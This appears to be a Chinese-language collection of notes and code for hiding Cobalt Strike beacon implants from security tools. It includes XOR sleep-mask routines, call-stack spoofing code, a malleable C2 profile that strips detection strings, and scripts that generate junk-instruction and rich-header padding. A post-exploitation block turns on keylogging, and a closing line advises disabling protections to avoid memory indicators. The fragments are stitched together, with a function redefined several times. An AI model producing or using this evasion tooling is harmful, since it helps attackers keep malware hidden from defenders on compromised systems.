/* Mask a beacon section
* First call will mask
* Second call will unmask
*/
void mask_section(SLEEPMASKP * parms, DWORD a, DWORD b) {
while (a < b) {
*(parms->beacon_ptr + a) ^= parms->mask[a % MASK_SIZE];
a++;
}
/* Mask the beacons sections
* First call will mask
* Second call will unmask
*/
void mask_sections(SLEEPMASKP * parms) {
DWORD * index;
DWORD a, b;
/* walk our sections and mask them */
index = parms->sections;
while (TRUE) {
a = *index; b = *(index + 1);
index += 2;
if (a == 0 && b == 0)
break;
mask_section(parms, a, b);
}
}
// 如下代码每隔一个字节进行异或加密
void mask_section(SLEEPMASKP * parms, DWORD a, DWORD b) {
while (a < b) {
// 只有当 a 是偶数时才执行异或操作,这样可以确保每两个字节进行一次异或操作
if (a % 2 == 0) {
*(parms->beacon_ptr + a) ^= parms->mask[a % MASK_SIZE];
}
a++;
}
}
//根据字节的位置来动态生成密钥
void mask_section(SLEEPMASKP* parms, DWORD a, DWORD b) {
while (a < b) {
BYTE dynamic_key = (a * 37) & MASK_SIZE; // simple example of dynamic key generation
*(parms->beacon_ptr + a) ^= dynamic_key;
a++;
}
}
//异或加密结合自反运算,比如NOT运算
void mask_section(SLEEPMASKP * parms, DWORD a, DWORD b) {
while (a < b) {
*(parms->beacon_ptr + a) ^= parms->mask[a % MASK_SIZE];
*(parms->beacon_ptr + a) = ~(*(parms->beacon_ptr + a)); // bitwise NOT
a++;
}
}
void set_callstack(
IN PSTACK_FRAME callstack,
OUT PDWORD number_of_frames)
{
DWORD i = 0;
/*
* How to choose your call stack to spoof.
* Steps:
* 1. Use process hacker or similar utility on a representative
* Windows target system to find a stack you want to spoof.
* Note: Different versions of windows may have different offsets.
* 2. Use the module, function and offset information as input
* to the getFunctionOffset utility located in arsenal-kit/utils.
* 3. The getFunctionOffset utility outputs information including
* the code to use in this function.
* Note: Should look for a stack with NtWaitForSingleObject at the top.
* Then use the information for the remaining stack frames.
* Note: The module extension is optional.
*
* Using the getFunctionOffset helper utility to generate the code.
* getFunctionOffset.exe ntdll.dll TpReleasePool 0x402
* getFunctionOffset.exe kernel32.dll BaseThreadInitThunk 0x14
* getFunctionOffset.exe ntdll RtlUserThreadStart 0x21
*
* Note: The number of frames can not exceed the MAX_FRAME_NUM value.
*/
set_frame_info(&callstack[i++], L"ntdll.dll", 0, 0x550b2, 0, FALSE);
set_frame_info(&callstack[i++], L"kernel32.dll", 0, 0x174b4, 0, FALSE);
set_frame_info(&callstack[i++], L"ntdll", 0, 0x526a1, 0, FALSE);
*number_of_frames = i;
}
BOOL calculate_function_stack_size(
IN OUT PSTACK_FRAME frame)
{
DWORD64 ImageBase = 0;
PUNWIND_HISTORY_TABLE pHistoryTable = NULL;
PRUNTIME_FUNCTION pRuntimeFunction = NULL;
// [1] Locate RUNTIME_FUNCTION for given function.
pRuntimeFunction = RtlLookupFunctionEntry(
(DWORD64)frame->returnAddress,
&ImageBase,
pHistoryTable);
if (!pRuntimeFunction)
{
return FALSE;
}
/*
* [2] Recursively calculate the total stack size for
* the function we are "returning" to
*/
return calculate_function_stack_size_internal(
frame,
pRuntimeFunction,
ImageBase);
}
BOOL initialize_spoofed_callstack(
PSTACK_FRAME callstack,
DWORD number_of_frames)
{
PSTACK_FRAME frame = NULL;
for (DWORD i = 0; i < number_of_frames; i++)
{
frame = &callstack[i];
// [1] Calculate ret address for current stack frame.
if (!calculate_return_address(frame))
{
return FALSE;
}
// [2] Calculate the total stack size for ret function.
if (!calculate_function_stack_size(frame))
{
return FALSE;
}
}
return TRUE;
}
transform-x64 {
prepend "\x90\x90\x90\x90\x90\x90\x90\x90\x90"; # prepend nops
strrep "This program cannot be run in DOS mode" ""; # Remove this text
strrep "ReflectiveLoader" "";
strrep "beacon.x64.dll" "";
strrep "beacon.dll" ""; # Remove this text
strrep "msvcrt.dll" "";
strrep "C:\\Windows\\System32\\msvcrt.dll" "";
strrep "Stack around the variable" "";
strrep "was corrupted." "";
strrep "The variable" "";
strrep "is being used without being initialized." "";
strrep "The value of ESP was not properly saved across a function call. This is usually a result of calling a function declared with one calling convention with a function pointer declared" "";
strrep "A cast to a smaller data type has caused a loss of data. If this was intentional, you should mask the source of the cast with the appropriate bitmask. For example:" "";
strrep "Changing the code in this way will not affect the quality of the resulting optimized code." "";
strrep "Stack memory was corrupted" "";
strrep "A local variable was used before it was initialized" "";
strrep "Stack memory around _alloca was corrupted" "";
strrep "Unknown Runtime Check Error" "";
strrep "Unknown Filename" "";
strrep "Unknown Module Name" "";
strrep "Run-Time Check Failure" "";
strrep "Stack corrupted near unknown variable" "";
strrep "Stack pointer corruption" "";
strrep "Cast to smaller type causing loss of data" "";
strrep "Stack memory corruption" "";
strrep "Local variable used before initialization" "";
strrep "Stack around" "corrupted";
strrep "operator" "";
strrep "operator co_await" "";
strrep "operator<=>" "";
}
inc esp
inc eax
dec ebx
inc ebx
dec esp
dec eax
nop
xchg ax,ax
nop dword ptr [eax]
nop word ptr [eax+eax]
nop dword ptr [eax+eax]
nop dword ptr [eax]
nop dword ptr [eax]
我们可以使用一个简单的python脚本,来实现对上述汇编指令的随机组合
import random
# Define the byte strings to shuffle
byte_strings = ["40", "41", "42", "6690", "40", "43", "44", "45", "46", "47", "48", "49", "", "4c", "90", "0f1f00", "660f1f0400", "0f1f0400", "0f1f00", "0f1f00", "87db", "87c9", "87d2", "6687db", "6687c9", "6687d2"]
# Shuffle the byte strings
random.shuffle(byte_strings)
# Create a new list to store the formatted bytes
formatted_bytes = []
# Loop through each byte string in the shuffled list
for byte_string in byte_strings:
# Check if the byte string has more than 2 characters
if len(byte_string) > 2:
# Split the byte string into chunks of two characters
byte_list = [byte_string[i:i+2] for i in range(0, len(byte_string), 2)]
# Add \x prefix to each byte and join them
formatted_bytes.append(''.join([f'\\x{byte}' for byte in byte_list]))
else:
# Add \x prefix to the single byte
formatted_bytes.append(f'\\x{byte_string}')
# Join the formatted bytes into a single string
formatted_string = ''.join(formatted_bytes)
# Print the formatted byte string
print(formatted_string)
import random
def generate_junk_assembly(length):
return ''.join([chr(random.randint(0, 255)) for _ in range(length)])
def generate_rich_header(length):
rich_header = generate_junk_assembly(length)
rich_header_hex = ''.join([f"\\x{ord(c):02x}" for c in rich_header])
return rich_header_hex
#make sure the number of opcodes has to be 4-byte aligned
print(generate_rich_header(100))
将生成的花指令复制到Profile文件的Stage块中
stage {
...
set rich_header "\x2e\x9a\xad\xf1...";
...
}
25 FF FF FF 00 and eax,0xffffff
3D 41 41 41 00 cmp eax,0x414141
75 ?? jne <relative offset based on next byte, range could be 5-10 bytes>
25 FF FF FF 00 and eax,0xffffff
3D 42 42 42 00 cmp eax,0x424242
75 ?? jne <relative offset based on next byte>
post-ex {
set pipename "Winsock2\\CatalogChangeListener-###-0";
set spawnto_x86 "%windir%\\syswow64\\wbem\\wmiprvse.exe -Embedding";
set spawnto_x64 "%windir%\\sysnative\\wbem\\wmiprvse.exe -Embedding";
set obfuscate "true";
set smartinject "true";
set amsi_disable "false";
set keylogger "GetAsyncKeyState";
#set threadhint "module!function+0x##"
}
为了避免检测,我们需关闭threadint和amsi,因为这些是主要的内存IOC(Indicator of Compromise,指系统被攻击或被恶意软件感染的迹象)